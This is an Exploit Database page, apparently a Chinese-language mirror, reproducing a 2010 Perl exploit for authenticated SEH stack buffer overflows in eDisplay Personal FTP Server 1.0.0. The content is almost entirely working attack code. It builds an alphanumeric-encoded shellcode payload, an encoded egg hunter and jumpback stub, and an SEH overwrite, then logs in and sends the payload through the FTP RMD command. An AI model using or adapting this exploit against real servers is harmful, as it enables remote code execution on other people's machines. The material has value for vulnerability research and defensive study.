eDisplay Personal FTP Server 1.0.0 – (Authenticated) Multiple Stack Buffer Overflows (1)

• Exploit Database
• 107 阅读

• 作者： corelanc0d3r
  日期： 2010-03-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11820/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171

  # Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF # Type of sploit: Remote Code Execution # Bug found by: loneferret(march 19, 2010) # Reference : http://www.exploit-db.com/exploits/11810 # Exploit date: March 20, 2010 # Author: corelanc0d3r # Version : 1.0.0 # OS: Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln: SEH # Greetz to : loneferret, dookie2000ca and of course my friends at Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ---------------------------------------------------------------------------------------------------- # Script provided &apos;as is&apos;, without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # ---------------------------------------------------------------------------------------------------- # # Before we begin : if you liked my quickzip.exe exploit # then you will certainly love this one too :-) # # ---------------------------------------------------------------------------------------------------- # # # Code : print "|------------------------------------------------------------------|\n"; print "| __ __|\n"; print "| _________________/ /___ _____ / /________ _____ ___|\n"; print "|/ ___/ __ \\/ ___/ _ \\/ / __ <code>/ __ \\ / __/ _ \\/ __ </code>/ __ `__ \\ |\n"; print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n"; print "||\n"; print "| http://www.corelan.be:8800 |\n"; print "||\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print "--==[ Exploit for eDisplay Personal FTP Server 1.0.0]==-- \n"; print "Author : corelanc0d3r\n\n";     use IO::Socket; if ($#ARGV ne 3) { print "usage: $0 <targetip> <targetport> <user> <password>\n"; exit(0); }   my $user=$ARGV[2]; my $pass=$ARGV[3];   print " [+] Preparing payload\n"; #basereg edi - custom MessageBox payload my $sc = "w00tw00t". "WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABX". "P8ABuJIn98kMKn9QdEtJTTqzrNRcJUaXI54lKBQfPLKPv". "VlnkqfGlLKW6THLKQngPlKP6FXpOtXD5ZSryeQ8QKO8aa". "pLKPlututNkW5WLLKSdUUcHS1yznk3zvxlK1J5pwqxkZC". "P7qYLKP4NkFa8ndqkOUayPkLNLNdKppt4JJaXOTMfaJgI". "yxqKOKOKO7KSLwT6HPuINNkcjGTuQzKBFLK6lpKNkcj7l". "faJKLKVdLKC1KXk9QTEtULSQksnRtHwYXTk9kUOyKrCXl". "NpNfnxl62kXOlKOio9ok9ReUTMk3NiHKR3CowuLUtPRjH". "LKKOkOiooyW5WxCXrLBLQ0KOqxFSWBVNCTU8qeT3CUT2M". "XclvD6joyivQFKOsevdoyYRRpOKoXLbPMMlOw5LDdrrjH". "qNKO9o9oPhTn6NfNV8phdp0dEcSBU8BLCQrNcSqxPcrOR". "RSUtqKkmX1LTdtONiysrHTnVNqHUp3Xq0gK4i6N3XBGSQ". "1ypnphSYsDUppaQxsTqycTEpTqxImXPLtdFrMYkQP1Zrs". "b3cPQrrkOn0DqIPbpKOQEeXA";   #custom encoded egg hunter #boy I love pvefindaddr ! # !pvefindaddr encode ascii <bytes> #I only had to fix bad chars #but we need 5C to trigger SEH at correct offset my $decoder= "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x2E\x5D\x55\x5D". "\x2D\x2D\x5D\x55\x5D". "\x2D\x30\x5E\x55\x5D". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x70\x2D\x5C\x6F".#we need these 5C&apos;s !! "\x2D\x70\x2C\x5C\x6F".#we need these 5C&apos;s !! "\x2D\x71\x30\x5D\x71". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x45\x2E\x23\x56". "\x2D\x45\x2D\x23\x56". "\x2D\x46\x30\x2E\x59". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x5B\x6C\x2D\x45". "\x2D\x5B\x6C\x2D\x45". "\x2D\x5B\x6E\x2D\x45". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x41\x53\x37\x2E". "\x2D\x41\x53\x37\x2D". "\x2D\x42\x54\x37\x30". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x54\x37\x66\x45". "\x2D\x54\x37\x66\x45". "\x2D\x56\x39\x66\x46". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x50\x3F\x39\x31". "\x2D\x50\x3F\x39\x31". "\x2D\x51\x3F\x3B\x33". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x33\x2A\x67\x55". "\x2D\x33\x2A\x67\x55". "\x2D\x34\x2A\x67\x55". "\x50". "\x75\x58"; #jump to decoded opcode     my $buffer = "A" x 45; my $pad=("D" x 30); my $nseh= "\x61\x42\x42\x42"; my $seh=pack(&apos;V&apos;,0x202D2B3C); #comctl32.ocx 0x202D2B3C #encoded jumpback code to jump to encoded egg hunter #pfew that&apos;s a mouthful my $jumpback="\x50\x5c"; $jumpback=$jumpback."\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x55\x55\x55\x5E". "\x2D\x55\x55\x55\x5E". "\x2D\x56\x55\x56\x60". "\x50". "\x25\x4A\x4D\x4E\x55". "\x25\x35\x32\x31\x2A". "\x2D\x2A\x5C\x59\x54". "\x2D\x2A\x5C\x59\x54". "\x2D\x2B\x5D\x59\x56". "\x50"; my $rest = "A" x (1000 - length($buffer.$nseh.$seh.$decoder.$pad.$sc.$jumpback)-20-5); #align eax first my $aligneax="\x52\x58\x2d\x35\x55\x55\x55\x2d\x35\x55\x55\x55\x2d\x35\x55\x55\x55"; my $payload=$buffer."CCCCCCCCCCCCCCCCCC".$decoder.$pad.$nseh.$seh."BBB".$aligneax.$jumpback.$rest.$sc;   print " [+] Connecting to server $ARGV[0] on port $ARGV[1]\n"; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Proto=> &apos;tcp&apos;);   $ftp = <$sock> || die " [!] *** Unable to connect ***\n"; print " ** $ftp"; print " [+] Logging in (user $user)\n"; print $sock "USER $user\r\n"; $ftp = <$sock>; print " ** $ftp"; print $sock "PASS $pass\r\n"; $ftp = <$sock>; print " ** $ftp"; print " [+] Sending payload (" . length($payload)." bytes)\n"; print $sock "RMD ".$payload."\r\r\n"; print $sock "QUIT\r\n";   print " [+] Shellcode size : " . length($sc)." bytes\n";